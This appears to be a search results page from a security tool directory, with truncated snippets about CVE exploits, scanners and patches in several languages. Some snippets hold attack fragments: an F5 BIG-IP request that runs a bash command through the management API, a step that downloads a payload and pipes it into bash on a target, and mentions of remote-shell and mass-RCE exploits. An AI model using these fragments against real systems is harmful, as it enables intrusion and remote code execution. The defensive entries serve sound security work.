3016 matches found
CVE-2022-1388_PoC
Sfruttamento RCE su F5 BIG-IP CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " Comando curl: root@kitploit: $ curl -i -s -k -X...
CVE-2024-32019-poc
CVE-2024-32019-poc Netdata ndsudo PoC Compile o binário: root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme Execute o script bash: root@kitploit: bash exploit.sh Na máquina alvo, execute em um diretório gravável: root@kitploit: curl http://:8000/payload.sh | bash Ele baixará...
bash-CVE-2017-17562
bash-CVE-2017-17562 Uma implementação PoC em Bash para CVE-2017-17562. Requer curl para criar requisições HTTP. Baseado nas implementações do Metasploit e de @fssecur3. Arguments Os seguintes argumentos precisam ser definidos, pois são necessários para reconhecimento e envio do payload:...
CVE-2024-24919
CVE-2024-24919 Verificatore Un semplice script bash per verificare la vulnerabilità CVE-2024-24919. Installazione Clona il repository: root@kitploit: git clone https://github.com/satriarizka/CVE-2024-24919.git cd CVE-2024-24919 chmod +x CVE-2024-24919-scan.sh Utilizzo ./CVE-2024-24919-scan.sh -l...
CVE-2025-32433-Remote-Shell
CVE-2025-32433 Shell Remota Exploit basato su Go per CVE-2025-32433 che restituisce una shell bash remota. Fortemente ispirato alla comprensione dell'exploit derivato dal PoC di ProDefense per CVE-2025-32433. Esecuzione dell'exploit root@kitploit: make exploit.exe è reso disponibile anche per...
Mass-CVE-2025-29306
FoxCMS Mass Exploiter CVE-2025-29306 Uno strumento di automazione specializzato per ricercatori di sicurezza per eseguire test di remote command execution RCE su più target. 🛡️ Nota sulla sicurezza Questo programma è scritto in Bash ed è stato cifrato/compilato con SHC Shell Script Compiler. Il...
macOS_security_audit
🔒 macOS-Sicherheitsaudit Ein auf Bash basierendes Sicherheits-Audit-Toolkit für macOS, das die Härtungseinstellungen des Systems anhand der CIS-Benchmark-Empfehlungen überprüft und JSON/HTML-Berichte erzeugt. Erstellt von Bartłomiej Pogwizd · https://www.youtube.com/@pTech-pl Übersicht Dieses...
salt-shellshock
Aggiornamento bash per shellshock Questa ricetta prova ad aggiornare bash dal pacchetto del sistema operativo, e ricade nella compilazione di bash su sistemi senza aggiornamenti disponibili. Funziona per noi su vecchi ubuntu/debian. Script di installazione di bash da:...
it355-lab4-enterprise-lan-security
IT355 Laboratorio 4: Sicurezza LAN Aziendale e Analisi Shellshock 📌 Panoramica del Progetto Questo repository contiene una valutazione completa della sicurezza di un ambiente LAN aziendale. Il focus principale di questo progetto è stato l'identificazione, lo sfruttamento e la remediation della...
Cgi-bin_bash_Reverse
Cgi-binbashReverse POC para CVE-2014-6271 Fonte:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...
-CVE-2014-6271
root@kitploit: / || | | | | | | | / || | | |/ \ / | |/ / \ | || | | | | | | \ | || | | | | | | ' / | | || || | | | || | || . \ |/|| |||||/|| ||/ ||\ CVE-2014-6271 — Shellshock Execução Remota de Código via Injeção de Variáveis de Ambiente do Bash "Uma falha que esteve oculta no Bash por...
CVE-2018-7600
Proof-of-Concept für CVE-2018-7600 / SA-CORE-2018-002 codebeat badge Drupal vor Version 7.58, 8.x vor 8.3.9, 8.4.x vor 8.4.6 und 8.5.x vor 8.5.1 erlaubt es entfernten Angreifern, beliebigen Code auszuführen, aufgrund eines Problems, das mehrere Subsysteme mit Standard- oder häufigen...
CVE-2014-6271-Apache-Debian
CVE-2014-6271-Apache-Debian Panoramica Questo repository è un ambiente PoC di CVE-2014-6271. Puoi distribuire un servizio web che include la vulnerabilità utilizzando l'immagine contenitore apache2. Preparazione Costruzione dell'immagine Costruisci l'immagine insicura dal Dockerfile. root@kitploi...
Log4J_checker
Log4Jchecker Log4J checker per Apache CVE-2021-44228 log4j-checker.sh è uno script bash che unisce diversi controlli...
shellshock
shellshock Shelly ist ein leichtgewichtiger und effizienter Schwachstellen-Scanner, der entwickelt wurde, um Shellshock CVE-2014-6271 & CVE-2014-7169 Schwachstellen in Bash-Umgebungen zu identifizieren und zu entschärfen. Installation: Repository klonen: git clone...
patched-bash-4.3
patched-bash-4.3 patched-bash-4.3 für CVE-2014-6271 Dies ist einfach bash 4.3, von der GNU-Website geholt und mit den Patches vom 26.09.2014 gepatcht, einschließlich der pkgsrc-Funktionsänderungen, die einfach die alberne "execute functions in env variables"-Funktion vollständig deaktivieren. Die...
CVE-2014-6271
Testador de Shellshock do Bash CVE-2014-6271 e Aftershock para Ansible 1. Instale o Ansible http://docs.ansible.com/introinstallation.html 2. Adicione servidores ao arquivo de inventário exemplo: root@kitploit: username@ip 3. Copie sua chave pública para o .ssh/authorizedkeys dos servidores remot...
Shellshock_CVE-2014-6271
Shellshock CVE-2014-6271 Shellshock Scarica i file docker-compose.yml e poc.py Assicurati di installare la libreria requests tramite pip install requests!!! Se usi uv, installa la libreria requests nel venv tramite uv!!! Descrizione ufficiale della CVE --- Nelle versioni di GNU Bash precedenti al...
CVE-202122986-EXP
Vulnerabilidade de Execução Remota de Comandos no F5 BIG-IP CVE-2021-22986 Impacto da Vulnerabilidade F5 BIG-IP 16.x: 16.1.0.3 F5 BIG-IP 15.x: 15.1.0.4 F5 BIG-IP 14.x: 14.1.2.6 F5 BIG-IP 13.x: 13.1.3.4 F5 BIG-IP 12.x: 12.1.5.2 F5 BIG-IP 11.x: 11.6.5.2 fofa iconhash="-335242539" POC root@kitploit:...